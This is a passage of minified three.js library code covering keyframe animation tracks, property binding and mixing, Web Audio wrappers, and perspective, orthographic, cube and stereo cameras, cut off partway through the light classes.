d=l,p=c.length;d!==p;++d){var f=c[d];h[d]=new n.PropertyBinding(f,e,t)}return h},unsubscribe_:function(e){var t=this._bindingsIndicesByPath,i=t[e];if(void 0!==i){var r=this._paths,n=this._parsedPaths,o=this._bindings,a=o.length-1,s=o[a],c=e[a];t[c]=i,o[i]=s,o.pop(),n[i]=n[a],n.pop(),r[i]=r[a],r.pop()}}},n.AnimationUtils={arraySlice:function(e,t,i){return n.AnimationUtils.isTypedArray(e)?new e.constructor(e.subarray(t,i)):e.slice(t,i)},convertArray:function(e,t,i){return!e||!i&&e.constructor===t?e:"number"==typeof t.BYTES_PER_ELEMENT?new t(e):Array.prototype.slice.call(e)},isTypedArray:function(e){return ArrayBuffer.isView(e)&&!(e instanceof DataView)},getKeyframeOrder:function(e){function t(t,i){return e[t]-e[i]}for(var i=e.length,r=new Array(i),n=0;n!==i;++n)r[n]=n;return r.sort(t),r},sortedArray:function(e,t,i){for(var r=e.length,n=new e.constructor(r),o=0,a=0;a!==r;++o)for(var s=i[o]*t,c=0;c!==t;++c)n[a++]=e[s+c];return n},flattenJSON:function(e,t,i,r){for(var n=1,o=e[0];void 0!==o&&void 0===o[r];)o=e[n++];if(void 0!==o){var a=o[r];if(void 0!==a)if(Array.isArray(a)){do a=o[r],void 0!==a&&(t.push(o.time),i.push.apply(i,a)),o=e[n++];while(void 0!==o)}else if(void 0!==a.toArray){do a=o[r],void 0!==a&&(t.push(o.time),a.toArray(i,i.length)),o=e[n++];while(void 0!==o)}else do a=o[r],void 0!==a&&(t.push(o.time),i.push(a)),o=e[n++];while(void 0!==o)}}},n.KeyframeTrack=function(e,t,i,r){if(void 0===e)throw new Error("track name is undefined");if(void 0===t||0===t.length)throw new Error("no keyframes in track named "+e);this.name=e,this.times=n.AnimationUtils.convertArray(t,this.TimeBufferType),this.values=n.AnimationUtils.convertArray(i,this.ValueBufferType),this.setInterpolation(r||this.DefaultInterpolation),this.validate(),this.optimize()},n.KeyframeTrack.prototype={constructor:n.KeyframeTrack,TimeBufferType:Float32Array,ValueBufferType:Float32Array,DefaultInterpolation:n.InterpolateLinear,InterpolantFactoryMethodDiscrete:function(e){return new n.DiscreteInterpolant(this.times,this.values,this.getValueSize(),e)},InterpolantFactoryMethodLinear:function(e){return new n.LinearInterpolant(this.times,this.values,this.getValueSize(),e)},InterpolantFactoryMethodSmooth:function(e){return new n.CubicInterpolant(this.times,this.values,this.getValueSize(),e)},setInterpolation:function(e){var t=void 0;switch(e){case n.InterpolateDiscrete:t=this.InterpolantFactoryMethodDiscrete;break;case n.InterpolateLinear:t=this.InterpolantFactoryMethodLinear;break;case n.InterpolateSmooth:t=this.InterpolantFactoryMethodSmooth}if(void 0===t){var i="unsupported interpolation for "+this.ValueTypeName+" keyframe track named "+this.name;if(void 0===this.createInterpolant){if(e===this.DefaultInterpolation)throw new Error(i);this.setInterpolation(this.DefaultInterpolation)}return void console.warn(i)}this.createInterpolant=t},getInterpolation:function(){switch(this.createInterpolant){case this.InterpolantFactoryMethodDiscrete:return n.InterpolateDiscrete;case this.InterpolantFactoryMethodLinear:return n.InterpolateLinear;case this.InterpolantFactoryMethodSmooth:return n.InterpolateSmooth}},getValueSize:function(){return this.values.length/this.times.length},shift:function(e){if(0!==e)for(var t=this.times,i=0,r=t.length;i!==r;++i)t[i]+=e;return this},scale:function(e){if(1!==e)for(var t=this.times,i=0,r=t.length;i!==r;++i)t[i]*=e;return this},trim:function(e,t){for(var i=this.times,r=i.length,o=0,a=r-1;o!==r&&i[o]<e;)++o;for(;-1!==a&&i[a]>t;)--a;if(++a,0!==o||a!==r){o>=a&&(a=Math.max(a,1),o=a-1);var s=this.getValueSize();this.times=n.AnimationUtils.arraySlice(i,o,a),this.values=n.AnimationUtils.arraySlice(this.values,o*s,a*s)}return this},validate:function(){var e=!0,t=this.getValueSize();t-Math.floor(t)!==0&&(console.error("invalid value size in track",this),e=!1);var i=this.times,r=this.values,o=i.length;0===o&&(console.error("track is empty",this),e=!1);for(var a=null,s=0;s!==o;s++){var c=i[s];if("number"==typeof c&&isNaN(c)){console.error("time is not a valid number",this,s,c),e=!1;break}if(null!==a&&a>c){console.error("out of order keys",this,s,c,a),e=!1;break}a=c}if(void 0!==r&&n.AnimationUtils.isTypedArray(r))for(var s=0,u=r.length;s!==u;++s){var l=r[s];if(isNaN(l)){console.error("value is not a valid number",this,s,l),e=!1;break}}return e},optimize:function(){for(var e=this.times,t=this.values,i=this.getValueSize(),r=1,o=1,a=e.length-1;a>=o;++o){var s=!1,c=e[o],u=e[o+1];if(c!==u&&(1!==o||c!==c[0]))for(var l=o*i,h=l-i,d=l+i,p=0;p!==i;++p){var f=t[l+p];if(f!==t[h+p]||f!==t[d+p]){s=!0;break}}if(s){if(o!==r){e[r]=e[o];for(var m=o*i,g=r*i,p=0;p!==i;++p)t[g+p]=t[m+p]}++r}}return r!==e.length&&(this.times=n.AnimationUtils.arraySlice(e,0,r),this.values=n.AnimationUtils.arraySlice(t,0,r*i)),this}},Object.assign(n.KeyframeTrack,{parse:function(e){if(void 0===e.type)throw new Error("track type undefined, can not parse");var t=n.KeyframeTrack._getTrackTypeForValueTypeName(e.type);if(void 0===e.times){console.warn("legacy JSON format detected, converting");var i=[],r=[];n.AnimationUtils.flattenJSON(e.keys,i,r,"value"),e.times=i,e.values=r}return void 0!==t.parse?t.parse(e):new t(e.name,e.times,e.values,e.interpolation)},toJSON:function(e){var t,i=e.constructor;if(void 0!==i.toJSON)t=i.toJSON(e);else{t={name:e.name,times:n.AnimationUtils.convertArray(e.times,Array),values:n.AnimationUtils.convertArray(e.values,Array)};var r=e.getInterpolation();r!==e.DefaultInterpolation&&(t.interpolation=r)}return t.type=e.ValueTypeName,t},_getTrackTypeForValueTypeName:function(e){switch(e.toLowerCase()){case"scalar":case"double":case"float":case"number":case"integer":return n.NumberKeyframeTrack;case"vector":case"vector2":case"vector3":case"vector4":return n.VectorKeyframeTrack;case"color":return n.ColorKeyframeTrack;case"quaternion":return n.QuaternionKeyframeTrack;case"bool":case"boolean":return n.BooleanKeyframeTrack;case"string":return n.StringKeyframeTrack}throw new Error("Unsupported typeName: "+e)}}),n.PropertyBinding=function(e,t,i){this.path=t,this.parsedPath=i||n.PropertyBinding.parseTrackName(t),this.node=n.PropertyBinding.findNode(e,this.parsedPath.nodeName)||e,this.rootNode=e},n.PropertyBinding.prototype={constructor:n.PropertyBinding,getValue:function(e,t){this.bind(),this.getValue(e,t)},setValue:function(e,t){this.bind(),this.setValue(e,t)},bind:function(){var e=this.node,t=this.parsedPath,i=t.objectName,r=t.propertyName,o=t.propertyIndex;if(e||(e=n.PropertyBinding.findNode(this.rootNode,t.nodeName)||this.rootNode,this.node=e),this.getValue=this._getValue_unavailable,this.setValue=this._setValue_unavailable,!e)return void console.error(" trying to update node for track: "+this.path+" but it wasn't found.");if(i){var a=t.objectIndex;switch(i){case"materials":if(!e.material)return void console.error(" can not bind to material as node does not have a material",this);if(!e.material.materials)return void console.error(" can not bind to material.materials as node.material does not have a materials array",this);e=e.material.materials;break;case"bones":if(!e.skeleton)return void console.error(" can not bind to bones as node does not have a skeleton",this);e=e.skeleton.bones;for(var s=0;s<e.length;s++)if(e[s].name===a){a=s;break}break;default:if(void 0===e[i])return void console.error(" can not bind to objectName of node, undefined",this);e=e[i]}if(void 0!==a){if(void 0===e[a])return void console.error(" trying to bind to objectIndex of objectName, but is undefined:",this,e);e=e[a]}}var c=e[r];if(!c){var u=t.nodeName;return void console.error(" trying to update property for track: "+u+"."+r+" but it wasn't found.",e)}var l=this.Versioning.None;void 0!==e.needsUpdate?(l=this.Versioning.NeedsUpdate,this.targetObject=e):void 0!==e.matrixWorldNeedsUpdate&&(l=this.Versioning.MatrixWorldNeedsUpdate,this.targetObject=e);var h=this.BindingType.Direct;if(void 0!==o){if("morphTargetInfluences"===r){if(!e.geometry)return void console.error(" can not bind to morphTargetInfluences becasuse node does not have a geometry",this);if(!e.geometry.morphTargets)return void console.error(" can not bind to morphTargetInfluences becasuse node does not have a geometry.morphTargets",this);for(var s=0;s<this.node.geometry.morphTargets.length;s++)if(e.geometry.morphTargets[s].name===o){o=s;break}}h=this.BindingType.ArrayElement,
this.resolvedProperty=c,this.propertyIndex=o}else void 0!==c.fromArray&&void 0!==c.toArray?(h=this.BindingType.HasFromToArray,this.resolvedProperty=c):void 0!==c.length?(h=this.BindingType.EntireArray,this.resolvedProperty=c):this.propertyName=r;this.getValue=this.GetterByBindingType[h],this.setValue=this.SetterByBindingTypeAndVersioning[h][l]},unbind:function(){this.node=null,this.getValue=this._getValue_unbound,this.setValue=this._setValue_unbound}},Object.assign(n.PropertyBinding.prototype,{_getValue_unavailable:function(){},_setValue_unavailable:function(){},_getValue_unbound:n.PropertyBinding.prototype.getValue,_setValue_unbound:n.PropertyBinding.prototype.setValue,BindingType:{Direct:0,EntireArray:1,ArrayElement:2,HasFromToArray:3},Versioning:{None:0,NeedsUpdate:1,MatrixWorldNeedsUpdate:2},GetterByBindingType:[function(e,t){e[t]=this.node[this.propertyName]},function(e,t){for(var i=this.resolvedProperty,r=0,n=i.length;r!==n;++r)e[t++]=i[r]},function(e,t){e[t]=this.resolvedProperty[this.propertyIndex]},function(e,t){this.resolvedProperty.toArray(e,t)}],SetterByBindingTypeAndVersioning:[[function(e,t){this.node[this.propertyName]=e[t]},function(e,t){this.node[this.propertyName]=e[t],this.targetObject.needsUpdate=!0},function(e,t){this.node[this.propertyName]=e[t],this.targetObject.matrixWorldNeedsUpdate=!0}],[function(e,t){for(var i=this.resolvedProperty,r=0,n=i.length;r!==n;++r)i[r]=e[t++]},function(e,t){for(var i=this.resolvedProperty,r=0,n=i.length;r!==n;++r)i[r]=e[t++];this.targetObject.needsUpdate=!0},function(e,t){for(var i=this.resolvedProperty,r=0,n=i.length;r!==n;++r)i[r]=e[t++];this.targetObject.matrixWorldNeedsUpdate=!0}],[function(e,t){this.resolvedProperty[this.propertyIndex]=e[t]},function(e,t){this.resolvedProperty[this.propertyIndex]=e[t],this.targetObject.needsUpdate=!0},function(e,t){this.resolvedProperty[this.propertyIndex]=e[t],this.targetObject.matrixWorldNeedsUpdate=!0}],[function(e,t){this.resolvedProperty.fromArray(e,t)},function(e,t){this.resolvedProperty.fromArray(e,t),this.targetObject.needsUpdate=!0},function(e,t){this.resolvedProperty.fromArray(e,t),this.targetObject.matrixWorldNeedsUpdate=!0}]]}),n.PropertyBinding.Composite=function(e,t,i){var r=i||n.PropertyBinding.parseTrackName(t);this._targetGroup=e,this._bindings=e.subscribe_(t,r)},n.PropertyBinding.Composite.prototype={constructor:n.PropertyBinding.Composite,getValue:function(e,t){this.bind();var i=this._targetGroup.nCachedObjects_,r=this._bindings[i];void 0!==r&&r.getValue(e,t)},setValue:function(e,t){for(var i=this._bindings,r=this._targetGroup.nCachedObjects_,n=i.length;r!==n;++r)i[r].setValue(e,t)},bind:function(){for(var e=this._bindings,t=this._targetGroup.nCachedObjects_,i=e.length;t!==i;++t)e[t].bind()},unbind:function(){for(var e=this._bindings,t=this._targetGroup.nCachedObjects_,i=e.length;t!==i;++t)e[t].unbind()}},n.PropertyBinding.create=function(e,t,i){return e instanceof n.AnimationObjectGroup?new n.PropertyBinding.Composite(e,t,i):new n.PropertyBinding(e,t,i)},n.PropertyBinding.parseTrackName=function(e){var t=/^(([\w]+\/)*)([\w-\d]+)?(\.([\w]+)(\[([\w\d\[\]\_.:\- ]+)\])?)?(\.([\w.]+)(\[([\w\d\[\]\_. ]+)\])?)$/,i=t.exec(e);if(!i)throw new Error("cannot parse trackName at all: "+e);i.index===t.lastIndex&&t.lastIndex++;var r={nodeName:i[3],objectName:i[5],objectIndex:i[7],propertyName:i[9],propertyIndex:i[11]};if(null===r.propertyName||0===r.propertyName.length)throw new Error("can not parse propertyName from trackName: "+e);return r},n.PropertyBinding.findNode=function(e,t){if(!t||""===t||"root"===t||"."===t||-1===t||t===e.name||t===e.uuid)return e;if(e.skeleton){var i=function(e){for(var i=0;i<e.bones.length;i++){var r=e.bones[i];if(r.name===t)return r}return null},r=i(e.skeleton);if(r)return r}if(e.children){var n=function(e){for(var i=0;i<e.length;i++){var r=e[i];if(r.name===t||r.uuid===t)return r;var o=n(r.children);if(o)return o}return null},o=n(e.children);if(o)return o}return null},n.PropertyMixer=function(e,t,i){this.binding=e,this.valueSize=i;var r,n=Float64Array;switch(t){case"quaternion":r=this._slerp;break;case"string":case"bool":n=Array,r=this._select;break;default:r=this._lerp}this.buffer=new n(4*i),this._mixBufferRegion=r,this.cumulativeWeight=0,this.useCount=0,this.referenceCount=0},n.PropertyMixer.prototype={constructor:n.PropertyMixer,accumulate:function(e,t){var i=this.buffer,r=this.valueSize,n=e*r+r,o=this.cumulativeWeight;if(0===o){for(var a=0;a!==r;++a)i[n+a]=i[a];o=t}else{o+=t;var s=t/o;this._mixBufferRegion(i,n,0,s,r)}this.cumulativeWeight=o},apply:function(e){var t=this.valueSize,i=this.buffer,r=e*t+t,n=this.cumulativeWeight,o=this.binding;if(this.cumulativeWeight=0,1>n){var a=3*t;this._mixBufferRegion(i,r,a,1-n,t)}for(var s=t,c=t+t;s!==c;++s)if(i[s]!==i[s+t]){o.setValue(i,r);break}},saveOriginalState:function(){var e=this.binding,t=this.buffer,i=this.valueSize,r=3*i;e.getValue(t,r);for(var n=i,o=r;n!==o;++n)t[n]=t[r+n%i];this.cumulativeWeight=0},restoreOriginalState:function(){var e=3*this.valueSize;this.binding.setValue(this.buffer,e)},_select:function(e,t,i,r,n){if(r>=.5)for(var o=0;o!==n;++o)e[t+o]=e[i+o]},_slerp:function(e,t,i,r){n.Quaternion.slerpFlat(e,t,e,t,e,i,r)},_lerp:function(e,t,i,r,n){for(var o=1-r,a=0;a!==n;++a){var s=t+a;e[s]=e[s]*o+e[i+a]*r}}},n.BooleanKeyframeTrack=function(e,t,i){n.KeyframeTrack.call(this,e,t,i)},n.BooleanKeyframeTrack.prototype=Object.assign(Object.create(n.KeyframeTrack.prototype),{constructor:n.BooleanKeyframeTrack,ValueTypeName:"bool",ValueBufferType:Array,DefaultInterpolation:n.InterpolateDiscrete,InterpolantFactoryMethodLinear:void 0,InterpolantFactoryMethodSmooth:void 0}),n.ColorKeyframeTrack=function(e,t,i,r){n.KeyframeTrack.call(this,e,t,i,r)},n.ColorKeyframeTrack.prototype=Object.assign(Object.create(n.KeyframeTrack.prototype),{constructor:n.ColorKeyframeTrack,ValueTypeName:"color"}),n.NumberKeyframeTrack=function(e,t,i,r){n.KeyframeTrack.call(this,e,t,i,r)},n.NumberKeyframeTrack.prototype=Object.assign(Object.create(n.KeyframeTrack.prototype),{constructor:n.NumberKeyframeTrack,ValueTypeName:"number"}),n.QuaternionKeyframeTrack=function(e,t,i,r){n.KeyframeTrack.call(this,e,t,i,r)},n.QuaternionKeyframeTrack.prototype=Object.assign(Object.create(n.KeyframeTrack.prototype),{constructor:n.QuaternionKeyframeTrack,ValueTypeName:"quaternion",DefaultInterpolation:n.InterpolateLinear,InterpolantFactoryMethodLinear:function(e){return new n.QuaternionLinearInterpolant(this.times,this.values,this.getValueSize(),e)},InterpolantFactoryMethodSmooth:void 0}),n.StringKeyframeTrack=function(e,t,i,r){n.KeyframeTrack.call(this,e,t,i,r)},n.StringKeyframeTrack.prototype=Object.assign(Object.create(n.KeyframeTrack.prototype),{constructor:n.StringKeyframeTrack,ValueTypeName:"string",ValueBufferType:Array,DefaultInterpolation:n.InterpolateDiscrete,InterpolantFactoryMethodLinear:void 0,InterpolantFactoryMethodSmooth:void 0}),n.VectorKeyframeTrack=function(e,t,i,r){n.KeyframeTrack.call(this,e,t,i,r)},n.VectorKeyframeTrack.prototype=Object.assign(Object.create(n.KeyframeTrack.prototype),{constructor:n.VectorKeyframeTrack,ValueTypeName:"vector"}),n.Audio=function(e){n.Object3D.call(this),this.type="Audio",this.context=e.context,this.source=this.context.createBufferSource(),this.source.onended=this.onEnded.bind(this),this.gain=this.context.createGain(),this.gain.connect(e.getInput()),this.autoplay=!1,this.startTime=0,this.playbackRate=1,this.isPlaying=!1,this.hasPlaybackControl=!0,this.sourceType="empty",this.filter=null},n.Audio.prototype=Object.create(n.Object3D.prototype),n.Audio.prototype.constructor=n.Audio,n.Audio.prototype.getOutput=function(){return this.gain},n.Audio.prototype.setNodeSource=function(e){return this.hasPlaybackControl=!1,this.sourceType="audioNode",this.source=e,this.connect(),this},n.Audio.prototype.setBuffer=function(e){var t=this;return t.source.buffer=e,t.sourceType="buffer",t.autoplay&&t.play(),this},n.Audio.prototype.play=function(){if(this.isPlaying===!0)return void console.warn("THREE.Audio: Audio is already playing.");if(this.hasPlaybackControl===!1)return void console.warn("THREE.Audio: this Audio has no playback control.");var e=this.context.createBufferSource();e.buffer=this.source.buffer,e.loop=this.source.loop,e.onended=this.source.onended,e.start(0,this.startTime),e.playbackRate.value=this.playbackRate,this.isPlaying=!0,this.source=e,this.connect()},n.Audio.prototype.pause=function(){return this.hasPlaybackControl===!1?void console.warn("THREE.Audio: this Audio has no playback control."):(this.source.stop(),void(this.startTime=this.context.currentTime))},n.Audio.prototype.stop=function(){return this.hasPlaybackControl===!1?void console.warn("THREE.Audio: this Audio has no playback control."):(this.source.stop(),void(this.startTime=0))},n.Audio.prototype.connect=function(){null!==this.filter?(this.source.connect(this.filter),this.filter.connect(this.getOutput())):this.source.connect(this.getOutput())},n.Audio.prototype.disconnect=function(){null!==this.filter?(this.source.disconnect(this.filter),this.filter.disconnect(this.getOutput())):this.source.disconnect(this.getOutput())},n.Audio.prototype.getFilter=function(){return this.filter},n.Audio.prototype.setFilter=function(e){void 0===e&&(e=null),this.isPlaying===!0?(this.disconnect(),this.filter=e,this.connect()):this.filter=e},n.Audio.prototype.setPlaybackRate=function(e){return this.hasPlaybackControl===!1?void console.warn("THREE.Audio: this Audio has no playback control."):(this.playbackRate=e,void(this.isPlaying===!0&&(this.source.playbackRate.value=this.playbackRate)))},n.Audio.prototype.getPlaybackRate=function(){return this.playbackRate},n.Audio.prototype.onEnded=function(){this.isPlaying=!1},n.Audio.prototype.setLoop=function(e){return this.hasPlaybackControl===!1?void console.warn("THREE.Audio: this Audio has no playback control."):void(this.source.loop=e)},n.Audio.prototype.getLoop=function(){return this.hasPlaybackControl===!1?(console.warn("THREE.Audio: this Audio has no playback control."),!1):this.source.loop},n.Audio.prototype.setVolume=function(e){this.gain.gain.value=e},n.Audio.prototype.getVolume=function(){return this.gain.gain.value},n.AudioAnalyser=function(e,t){this.analyser=e.context.createAnalyser(),this.analyser.fftSize=void 0!==t?t:2048,this.data=new Uint8Array(this.analyser.frequencyBinCount),e.getOutput().connect(this.analyser)},n.AudioAnalyser.prototype={constructor:n.AudioAnalyser,getData:function(){return this.analyser.getByteFrequencyData(this.data),this.data}},Object.defineProperty(n,"AudioContext",{get:function(){var e;return function(){return void 0===e&&(e=new(window.AudioContext||window.webkitAudioContext)),e}}()}),n.PositionalAudio=function(e){n.Audio.call(this,e),this.panner=this.context.createPanner(),this.panner.connect(this.gain)},n.PositionalAudio.prototype=Object.create(n.Audio.prototype),n.PositionalAudio.prototype.constructor=n.PositionalAudio,n.PositionalAudio.prototype.getOutput=function(){return this.panner},n.PositionalAudio.prototype.setRefDistance=function(e){this.panner.refDistance=e},n.PositionalAudio.prototype.getRefDistance=function(){return this.panner.refDistance},n.PositionalAudio.prototype.setRolloffFactor=function(e){this.panner.rolloffFactor=e},n.PositionalAudio.prototype.getRolloffFactor=function(){return this.panner.rolloffFactor},n.PositionalAudio.prototype.setDistanceModel=function(e){this.panner.distanceModel=e},n.PositionalAudio.prototype.getDistanceModel=function(){return this.panner.distanceModel},n.PositionalAudio.prototype.setMaxDistance=function(e){this.panner.maxDistance=e},n.PositionalAudio.prototype.getMaxDistance=function(){return this.panner.maxDistance},n.PositionalAudio.prototype.updateMatrixWorld=function(){var e=new n.Vector3;return function(t){n.Object3D.prototype.updateMatrixWorld.call(this,t),e.setFromMatrixPosition(this.matrixWorld),this.panner.setPosition(e.x,e.y,e.z)}}(),n.AudioListener=function(){n.Object3D.call(this),this.type="AudioListener",this.context=n.AudioContext,this.gain=this.context.createGain(),this.gain.connect(this.context.destination),this.filter=null},n.AudioListener.prototype=Object.create(n.Object3D.prototype),n.AudioListener.prototype.constructor=n.AudioListener,n.AudioListener.prototype.getInput=function(){return this.gain},n.AudioListener.prototype.removeFilter=function(){null!==this.filter&&(this.gain.disconnect(this.filter),this.filter.disconnect(this.context.destination),this.gain.connect(this.context.destination),this.filter=null)},n.AudioListener.prototype.setFilter=function(e){null!==this.filter?(this.gain.disconnect(this.filter),this.filter.disconnect(this.context.destination)):this.gain.disconnect(this.context.destination),this.filter=e,this.gain.connect(this.filter),this.filter.connect(this.context.destination)},n.AudioListener.prototype.getFilter=function(){return this.filter},n.AudioListener.prototype.setMasterVolume=function(e){this.gain.gain.value=e},n.AudioListener.prototype.getMasterVolume=function(){return this.gain.gain.value},n.AudioListener.prototype.updateMatrixWorld=function(){var e=new n.Vector3,t=new n.Quaternion,i=new n.Vector3,r=new n.Vector3;return function(o){n.Object3D.prototype.updateMatrixWorld.call(this,o);var a=this.context.listener,s=this.up;this.matrixWorld.decompose(e,t,i),r.set(0,0,-1).applyQuaternion(t),a.setPosition(e.x,e.y,e.z),a.setOrientation(r.x,r.y,r.z,s.x,s.y,s.z)}}(),n.Camera=function(){n.Object3D.call(this),this.type="Camera",this.matrixWorldInverse=new n.Matrix4,this.projectionMatrix=new n.Matrix4},n.Camera.prototype=Object.create(n.Object3D.prototype),n.Camera.prototype.constructor=n.Camera,n.Camera.prototype.getWorldDirection=function(){var e=new n.Quaternion;return function(t){var i=t||new n.Vector3;return this.getWorldQuaternion(e),i.set(0,0,-1).applyQuaternion(e)}}(),n.Camera.prototype.lookAt=function(){var e=new n.Matrix4;return function(t){e.lookAt(this.position,t,this.up),this.quaternion.setFromRotationMatrix(e)}}(),n.Camera.prototype.clone=function(){return(new this.constructor).copy(this)},n.Camera.prototype.copy=function(e){return n.Object3D.prototype.copy.call(this,e),this.matrixWorldInverse.copy(e.matrixWorldInverse),this.projectionMatrix.copy(e.projectionMatrix),this},n.CubeCamera=function(e,t,i){n.Object3D.call(this),this.type="CubeCamera";var r=90,o=1,a=new n.PerspectiveCamera(r,o,e,t);a.up.set(0,-1,0),a.lookAt(new n.Vector3(1,0,0)),this.add(a);var s=new n.PerspectiveCamera(r,o,e,t);s.up.set(0,-1,0),s.lookAt(new n.Vector3(-1,0,0)),this.add(s);var c=new n.PerspectiveCamera(r,o,e,t);c.up.set(0,0,1),c.lookAt(new n.Vector3(0,1,0)),this.add(c);var u=new n.PerspectiveCamera(r,o,e,t);u.up.set(0,0,-1),u.lookAt(new n.Vector3(0,-1,0)),this.add(u);var l=new n.PerspectiveCamera(r,o,e,t);l.up.set(0,-1,0),l.lookAt(new n.Vector3(0,0,1)),this.add(l);var h=new n.PerspectiveCamera(r,o,e,t);h.up.set(0,-1,0),h.lookAt(new n.Vector3(0,0,-1)),this.add(h);var d={format:n.RGBFormat,magFilter:n.LinearFilter,minFilter:n.LinearFilter};this.renderTarget=new n.WebGLRenderTargetCube(i,i,d),this.updateCubeMap=function(e,t){null===this.parent&&this.updateMatrixWorld();var i=this.renderTarget,r=i.texture.generateMipmaps;i.texture.generateMipmaps=!1,i.activeCubeFace=0,e.render(t,a,i),i.activeCubeFace=1,e.render(t,s,i),i.activeCubeFace=2,e.render(t,c,i),i.activeCubeFace=3,e.render(t,u,i),i.activeCubeFace=4,e.render(t,l,i),i.texture.generateMipmaps=r,i.activeCubeFace=5,e.render(t,h,i),e.setRenderTarget(null)}},n.CubeCamera.prototype=Object.create(n.Object3D.prototype),n.CubeCamera.prototype.constructor=n.CubeCamera,n.OrthographicCamera=function(e,t,i,r,o,a){n.Camera.call(this),this.type="OrthographicCamera",this.zoom=1,this.left=e,this.right=t,this.top=i,this.bottom=r,this.near=void 0!==o?o:.1,this.far=void 0!==a?a:2e3,this.updateProjectionMatrix()},n.OrthographicCamera.prototype=Object.create(n.Camera.prototype),n.OrthographicCamera.prototype.constructor=n.OrthographicCamera,n.OrthographicCamera.prototype.updateProjectionMatrix=function(){var e=(this.right-this.left)/(2*this.zoom),t=(this.top-this.bottom)/(2*this.zoom),i=(this.right+this.left)/2,r=(this.top+this.bottom)/2;this.projectionMatrix.makeOrthographic(i-e,i+e,r+t,r-t,this.near,this.far)},n.OrthographicCamera.prototype.copy=function(e){return n.Camera.prototype.copy.call(this,e),this.left=e.left,this.right=e.right,this.top=e.top,this.bottom=e.bottom,this.near=e.near,this.far=e.far,this.zoom=e.zoom,this},n.OrthographicCamera.prototype.toJSON=function(e){var t=n.Object3D.prototype.toJSON.call(this,e);return t.object.zoom=this.zoom,t.object.left=this.left,t.object.right=this.right,t.object.top=this.top,t.object.bottom=this.bottom,t.object.near=this.near,t.object.far=this.far,t},n.PerspectiveCamera=function(e,t,i,r){n.Camera.call(this),this.type="PerspectiveCamera",this.fov=void 0!==e?e:50,this.zoom=1,this.near=void 0!==i?i:.1,this.far=void 0!==r?r:2e3,this.focus=10,this.aspect=void 0!==t?t:1,this.view=null,this.filmGauge=35,this.filmOffset=0,this.updateProjectionMatrix()},n.PerspectiveCamera.prototype=Object.create(n.Camera.prototype),n.PerspectiveCamera.prototype.constructor=n.PerspectiveCamera,n.PerspectiveCamera.prototype.setLens=function(e,t){console.warn("THREE.PerspectiveCamera.setLens is deprecated. Use .setFocalLength and .filmGauge for a photographic setup."),void 0!==t&&(this.filmGauge=t),this.setFocalLength(e)},n.PerspectiveCamera.prototype.setFocalLength=function(e){var t=.5*this.getFilmHeight()/e;this.fov=2*n.Math.RAD2DEG*Math.atan(t),this.updateProjectionMatrix()},n.PerspectiveCamera.prototype.getFocalLength=function(){var e=Math.tan(.5*n.Math.DEG2RAD*this.fov);return.5*this.getFilmHeight()/e},n.PerspectiveCamera.prototype.getEffectiveFOV=function(){return 2*n.Math.RAD2DEG*Math.atan(Math.tan(.5*n.Math.DEG2RAD*this.fov)/this.zoom)},n.PerspectiveCamera.prototype.getFilmWidth=function(){return this.filmGauge*Math.min(this.aspect,1)},n.PerspectiveCamera.prototype.getFilmHeight=function(){return this.filmGauge/Math.max(this.aspect,1)},n.PerspectiveCamera.prototype.setViewOffset=function(e,t,i,r,n,o){this.aspect=e/t,this.view={fullWidth:e,fullHeight:t,offsetX:i,offsetY:r,width:n,height:o},this.updateProjectionMatrix()},n.PerspectiveCamera.prototype.updateProjectionMatrix=function(){var e=this.near,t=e*Math.tan(.5*n.Math.DEG2RAD*this.fov)/this.zoom,i=2*t,r=this.aspect*i,o=-.5*r,a=this.view;if(null!==a){var s=a.fullWidth,c=a.fullHeight;o+=a.offsetX*r/s,t-=a.offsetY*i/c,r*=a.width/s,i*=a.height/c}var u=this.filmOffset;0!==u&&(o+=e*u/this.getFilmWidth()),this.projectionMatrix.makeFrustum(o,o+r,t-i,t,e,this.far)},n.PerspectiveCamera.prototype.copy=function(e){return n.Camera.prototype.copy.call(this,e),this.fov=e.fov,this.zoom=e.zoom,this.near=e.near,this.far=e.far,this.focus=e.focus,this.aspect=e.aspect,this.view=null===e.view?null:Object.assign({},e.view),this.filmGauge=e.filmGauge,this.filmOffset=e.filmOffset,this},n.PerspectiveCamera.prototype.toJSON=function(e){var t=n.Object3D.prototype.toJSON.call(this,e);return t.object.fov=this.fov,t.object.zoom=this.zoom,t.object.near=this.near,t.object.far=this.far,t.object.focus=this.focus,t.object.aspect=this.aspect,null!==this.view&&(t.object.view=Object.assign({},this.view)),t.object.filmGauge=this.filmGauge,t.object.filmOffset=this.filmOffset,t},n.StereoCamera=function(){this.type="StereoCamera",this.aspect=1,this.cameraL=new n.PerspectiveCamera,this.cameraL.layers.enable(1),this.cameraL.matrixAutoUpdate=!1,this.cameraR=new n.PerspectiveCamera,this.cameraR.layers.enable(2),this.cameraR.matrixAutoUpdate=!1},n.StereoCamera.prototype={constructor:n.StereoCamera,update:function(){var e,t,i,r,o,a=new n.Matrix4,s=new n.Matrix4;return function(c){var u=e!==c.focus||t!==c.fov||i!==c.aspect*this.aspect||r!==c.near||o!==c.far;if(u){e=c.focus,t=c.fov,i=c.aspect*this.aspect,r=c.near,o=c.far;var l,h,d=c.projectionMatrix.clone(),p=.032,f=p*r/e,m=r*Math.tan(n.Math.DEG2RAD*t*.5);s.elements[12]=-p,a.elements[12]=p,l=-m*i+f,h=m*i+f,d.elements[0]=2*r/(h-l),d.elements[8]=(h+l)/(h-l),this.cameraL.projectionMatrix.copy(d),l=-m*i-f,h=m*i-f,d.elements[0]=2*r/(h-l),d.elements[8]=(h+l)/(h-l),this.cameraR.projectionMatrix.copy(d)}this.cameraL.matrixWorld.copy(c.matrixWorld).multiply(s),this.cameraR.matrixWorld.copy(c.matrixWorld).multiply(a)}}()},n.Light=function(e,t){n.Object3D.call(this),this.type="Light",this.color=new n.Color(e),this.intensity=void 0!==t?t:1,this.receiveShadow=void 0},n.Light.prototype=Object.create(n.Object3D.prototype),n.Light.prototype.constructor=n.Light,n.Light.prototype.copy=function(e){return n.Object3D.prototype.copy.call(this,e),this.color.copy(e.color),this.intensity=e.intensity,this},n.Light.prototype.toJSON=function(e){var t=n.Object3D.prototype.toJSON.call(this,e);return t.object.color=this.color.getHex(),t.object.intensity=this.intensity,void 0!==this.groundColor&&(t.object.groundColor=this.groundColor.getHex()),void 0!==this.distance&&(t.object.distance=this.distance),void 0!==this.angle&&(t.object.angle=this.angle),void 0!==this.decay&&(t.object.decay=this.decay),void 0!==this.penumbra&&(t.object.penumbra=this.penumbra),t},n.LightShadow=function(e){this.camera=e,this.bias=0,this.radius=1,this.mapSize=new 